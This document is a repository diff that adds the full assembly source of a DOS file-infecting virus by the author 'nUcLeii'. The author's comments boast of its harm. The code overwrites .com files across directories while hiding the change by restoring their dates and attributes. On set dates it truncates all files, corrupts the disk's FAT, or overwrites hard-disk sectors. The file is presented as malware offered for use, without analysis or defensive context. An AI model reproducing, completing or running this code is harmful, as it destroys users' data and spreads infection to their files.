|
| 1 | +;hmm.,.,.,.,without a name.,.,.,., |
| 2 | +;this file is much like the 606, only it |
| 3 | +;is much more harmful...it has a special suprise |
| 4 | +;for three diffrent dates....hehehehe.,.,,..,., |
| 5 | +;i had planned to have it in with the other TR- |
| 6 | +;series, but this was much to large to add in with.,., |
| 7 | +;enjoy!.... |
| 8 | +; nUcLeii |
| 9 | +; [*v i a*]===[98] |
| 10 | + |
| 11 | + |
| 12 | + |
| 13 | +.model tiny |
| 14 | +.code |
| 15 | + |
| 16 | +seg_a segment byte public |
| 17 | + ASSUME CS: SEG_A, DS: SEG_A, ES: SEG_A |
| 18 | + |
| 19 | +filename equ 30 ;find file name |
| 20 | +fileattr equ 21 ;find file attributes |
| 21 | +filedate equ 24 ;find file date |
| 22 | +filetime equ 22 ;fine file time |
| 23 | + |
| 24 | +org 100h |
| 25 | + |
| 26 | +main proc |
| 27 | +start: |
| 28 | + call dirloc |
| 29 | + |
| 30 | +infect: |
| 31 | + mov dx, 100h |
| 32 | + mov bx, handle |
| 33 | + mov cx, 1203 |
| 34 | + mov ah, 40h |
| 35 | + int 21h |
| 36 | + ret |
| 37 | + |
| 38 | +dirloc: |
| 39 | + mov dx, offset dirdat ;offset to hold new dta |
| 40 | + mov ah, 1ah ;set dta address |
| 41 | + int 21h |
| 42 | + |
| 43 | +newdir: |
| 44 | + mov ah,19h ;get drive code |
| 45 | + int 21h |
| 46 | + mov dl, al ;save drive code |
| 47 | + inc dl ;add one to dl (functions differ) |
| 48 | + mov ah, 47h ;get current directory |
| 49 | + mov si, offset currentdir ;buffer to save directory in |
| 50 | + int 21h |
| 51 | + mov dx, offset daroot ;move dx to change to root |
| 52 | + mov ah, 3bh ;change directory to root |
| 53 | + int 21h |
| 54 | + |
| 55 | +find: |
| 56 | + mov cx, 13h ;include hidden/ro dir. |
| 57 | + mov dx, offset wild ;look for '*' |
| 58 | + mov ah, 4eh ;find file |
| 59 | + int 21h |
| 60 | + cmp ax, 12h ;no file? |
| 61 | + jne findmore ;no dir? screw it then. |
| 62 | + |
| 63 | +wank1: |
| 64 | + jmp rollout |
| 65 | + |
| 66 | +findmore: |
| 67 | + mov ah, 4fh ;find next target |
| 68 | + int 21h |
| 69 | + cmp ax, 12h |
| 70 | + je wank ;no more? crew it then. |
| 71 | + |
| 72 | +keepgoin: |
| 73 | + mov dx, offset dirdat+filename ;point dx to fcb-filename |
| 74 | + mov ah, 3bh ;change directory |
| 75 | + int 21h |
| 76 | + mov ah, 2fh ;get current dta address |
| 77 | + int 21h |
| 78 | + mov [diskdat], es ;save old segment |
| 79 | + mov [diskdatofs], bx ;save old offset |
| 80 | + mov dx, offset filedat ;offset to hold new dta |
| 81 | + mov ah, 1ah ;set dta address |
| 82 | + int 21h |
| 83 | + |
| 84 | +checkit: |
| 85 | + mov cx, 07h ;find any attribute |
| 86 | + mov dx, offset filetype ;point dx to exe files |
| 87 | + mov ah, 4eh ;find first file function |
| 88 | + int 21h |
| 89 | + cmp ax, 12h ;was it found? |
| 90 | + jne change |
| 91 | + |
| 92 | +nextfile: |
| 93 | + mov ah, 4fh ;find next file |
| 94 | + int 21h |
| 95 | + cmp ax,12h ;none found |
| 96 | + jne change ;see what we can do... |
| 97 | + mov dx, offset daroot ;dx to change to root directory |
| 98 | + mov ah, 3bh |
| 99 | + int 21h |
| 100 | + mov ah, 1ah ;set dta address |
| 101 | + mov ds, [diskdat] ;restore old segment |
| 102 | + mov dx, [diskdatofs] ;restore old offset |
| 103 | + int 21h |
| 104 | + jmp findmore |
| 105 | +wank: |
| 106 | + jmp rollout |
| 107 | + |
| 108 | +change: |
| 109 | + mov ah, 2fh ;temp. store dta |
| 110 | + int 21h |
| 111 | + mov [tempseg], es ;save old segment |
| 112 | + mov [tempofs], bx ;save old offset |
| 113 | + mov dx, offset filedat+filename |
| 114 | + mov bx, offset filedat ;save file... |
| 115 | + mov ax, [bx]+filedate ;tha date |
| 116 | + mov orig_date, ax |
| 117 | + mov ax, [bx]+filetime ;tha time |
| 118 | + mov orig_time, ax |
| 119 | + mov ax, [bx]+fileattr ;tha attributes |
| 120 | + mov ax, 4300h |
| 121 | + int 21h |
| 122 | + mov orig_attr, cx |
| 123 | + mov ax, 4301h ;change attributes |
| 124 | + xor cx, cx ;clear attributes |
| 125 | + int 21h |
| 126 | + mov ax, 3d00h ;open file and read |
| 127 | + int 21h |
| 128 | + jc fixup ;error?..go get another! |
| 129 | + mov handle, ax ;save handle |
| 130 | + mov ah, 3fh ;read from file |
| 131 | + mov bx, handle ;move handle to bx |
| 132 | + mov cx, 02h ;read 2 bytes |
| 133 | + mov dx, offset idbuffer ;save to buffer |
| 134 | + int 21h |
| 135 | + mov ah, 3eh ;close it for now |
| 136 | + mov bx, handle ;load bx with handle |
| 137 | + int 21h |
| 138 | + mov bx, idbuffer ;give bx the id string |
| 139 | + cmp bx, 02ebh ;are we infected? |
| 140 | + jne doit ;hmm...go get another. |
| 141 | + |
| 142 | +fixup: |
| 143 | + mov ah, 1ah ;set dta address |
| 144 | + mov ds, [tempseg] ;restore old segment |
| 145 | + mov dx, [tempofs] ;restore old offset |
| 146 | + int 21h |
| 147 | + jmp nextfile |
| 148 | + |
| 149 | +doit: |
| 150 | + mov dx, offset filedat+filename |
| 151 | + mov ax, 3d02h ;open victim read/write access |
| 152 | + int 21h |
| 153 | + mov handle, ax ;save handle |
| 154 | + call infect ;do your job... |
| 155 | + ;mov ax, 3eh |
| 156 | + ;int 21h |
| 157 | + |
| 158 | +rollout: |
| 159 | + mov ax, 5701h ;restore original... |
| 160 | + mov bx, handle ;handle |
| 161 | + mov cx, orig_time ;time |
| 162 | + mov dx, orig_date ;date |
| 163 | + int 21h |
| 164 | + mov ax, 4301h ;and attributes |
| 165 | + mov cx, orig_attr |
| 166 | + mov dx, offset filedat+filename |
| 167 | + int 21h |
| 168 | + ;mov bx, handle |
| 169 | + ;mov ax, 3eh ;close em" |
| 170 | + ;int 21h |
| 171 | + mov ah, 3bh ;try this for speed... |
| 172 | + mov dx, offset daroot |
| 173 | + int 21h |
| 174 | + mov ah, 3bh ;change directory |
| 175 | + mov dx, offset currentdir ;back to the original |
| 176 | + int 21h |
| 177 | + mov ah, 2ah ;check system date |
| 178 | + int 21h |
| 179 | + cmp cx, 1998 ;hehe..if not then your already |
| 180 | + jb getout ;screwed an ill leave ya alone. |
| 181 | + cmp dl, 15 ;is it the 15th?...muhahaha |
| 182 | + jne goaway ;not?...lucky you. |
| 183 | + cmp dl, 19 ;is it the 19th?...muhahaha |
| 184 | + je alter_fat ;your gonna have a few crosslinks... |
| 185 | + cmp dl, 29 ;is it the 29th?...muhahaha |
| 186 | + je ouch ;your screwed,..,.,.,., |
| 187 | + mov dx, offset dirdat ;offset to hold new dta |
| 188 | + mov ah, 1ah ;set dta address |
| 189 | + int 21h |
| 190 | + mov ah, 4eh ;find first file |
| 191 | + mov cx, 7h |
| 192 | + mov dx, offset allfiles ;offset *.* ...hehehe... |
| 193 | + jmp rockem |
| 194 | + |
| 195 | +getout: |
| 196 | + call outta |
| 197 | + |
| 198 | +goaway: |
| 199 | + call outta |
| 200 | + |
| 201 | +rockem: |
| 202 | + int 21h |
| 203 | + jc goaway ;error? screw it then... |
| 204 | + mov ax, 4301h ;find all "normal" files |
| 205 | + xor cx, cx |
| 206 | + int 21h |
| 207 | + mov dx, offset dirdat+filename |
| 208 | + mov ah, 3ch ;write to all files in current dir. |
| 209 | + int 21h |
| 210 | + jc outta ;error? screw it then... |
| 211 | + mov ah, 4fh ;find next file |
| 212 | + jmp rockem |
| 213 | + |
| 214 | +ouch: |
| 215 | + xor dx, dx ;clear dx |
| 216 | + |
| 217 | +rip_hd1: |
| 218 | + mov cx, 1 ;track 0, sector 1 |
| 219 | + mov ax, 311h ;17 secs per track (hopefully!) |
| 220 | + mov dl, 80h |
| 221 | + mov bx, 5000h |
| 222 | + mov es, bx |
| 223 | + int 13h ;kill 17 sectors |
| 224 | + jae rip_hd2 |
| 225 | + xor ah, ah |
| 226 | + int 13h ;reset disks if needed |
| 227 | +rip_hd2: |
| 228 | + inc dh ;increment head number |
| 229 | + cmp dh, 4 ;if head number is below 4 then |
| 230 | + jb rip_hd1 ;go kill another 17 sectors |
| 231 | + inc ch ;increase track number and |
| 232 | + jmp ouch ;do it again |
| 233 | + |
| 234 | +alter_fat: |
| 235 | + push dx |
| 236 | + push bx |
| 237 | + push cx |
| 238 | + push ax |
| 239 | + push bp ;save regs that will be changed |
| 240 | + mov ax, 0dh |
| 241 | + int 21h ;reset disk |
| 242 | + mov ah, 19h |
| 243 | + int 21h ;get default disk |
| 244 | + xor dx, dx |
| 245 | + call load_sec ;read in the boot record |
| 246 | + mov bp, bx |
| 247 | + mov bx, word ptr es:[bp+16h] ;find sectors per fat |
| 248 | + push ax ;save drive number |
| 249 | + call rnd_num ;get random number |
| 250 | + cmp bx, ax ;if random number is lower than |
| 251 | + jbe alter_fat1 ;secs per fat then jump and kill 'em |
| 252 | + mov ax, bx ;else pick final sector of fat |
| 253 | +alter_fat1: |
| 254 | + |
| 255 | + int 26h ;write same data in that fat |
| 256 | + pop bp |
| 257 | + pop ax |
| 258 | + pop cx |
| 259 | + pop bx |
| 260 | + pop dx |
| 261 | + jmp outta |
| 262 | + |
| 263 | +rnd_num: |
| 264 | + push cx |
| 265 | + push dx ;save regs that will be changed |
| 266 | + xor ax, ax |
| 267 | + int 1ah ;get system time |
| 268 | + xchg dx, ax ;put lower word into ax |
| 269 | + pop dx |
| 270 | + pop cx |
| 271 | + ret ;restore values and return |
| 272 | + |
| 273 | +load_sec: |
| 274 | + push cx |
| 275 | + push ds ;save regs that will be changed |
| 276 | + push ax ;save drive number |
| 277 | + push cs |
| 278 | + pop ds |
| 279 | + push cs |
| 280 | + pop es ;make es and ds the same as cs |
| 281 | + mov ax, 0dh |
| 282 | + int 21h ;reset disk |
| 283 | + pop ax ;restore drive number |
| 284 | + mov cx, 1 |
| 285 | + mov bx, offset sec_buf |
| 286 | + int 25h ;read sector into buffer |
| 287 | + pop ds |
| 288 | + pop cx |
| 289 | + ret ;restore regs and return |
| 290 | + |
| 291 | +outta: |
| 292 | + mov ax, 4c00h ;end program |
| 293 | + int 21h |
| 294 | + |
| 295 | +words_ db "nUcLeii~ *v. i. a*",0 |
| 296 | +words2 db "1200..n0name",0 |
| 297 | +allfiles db "*.*",0 |
| 298 | +currentdir db 64 dup (?) |
| 299 | +daroot db "\",0 |
| 300 | +dirdat db 43 dup (?) |
| 301 | +diskdat dw ? |
| 302 | +diskdatofs dw ? |
| 303 | +filedat db 43 dup (?) |
| 304 | +filetype db "*.com",0 |
| 305 | +handle dw ? |
| 306 | +idbuffer dw ? |
| 307 | +orig_attr dw ? |
| 308 | +orig_date dw ? |
| 309 | +orig_time dw ? |
| 310 | +sec_buf dw 100h dup(?) |
| 311 | +tempofs dw ? |
| 312 | +tempseg dw ? |
| 313 | +wild db "*",0 |
| 314 | + |
| 315 | +main endp |
| 316 | +seg_a ends |
| 317 | +end start |
0 commit comments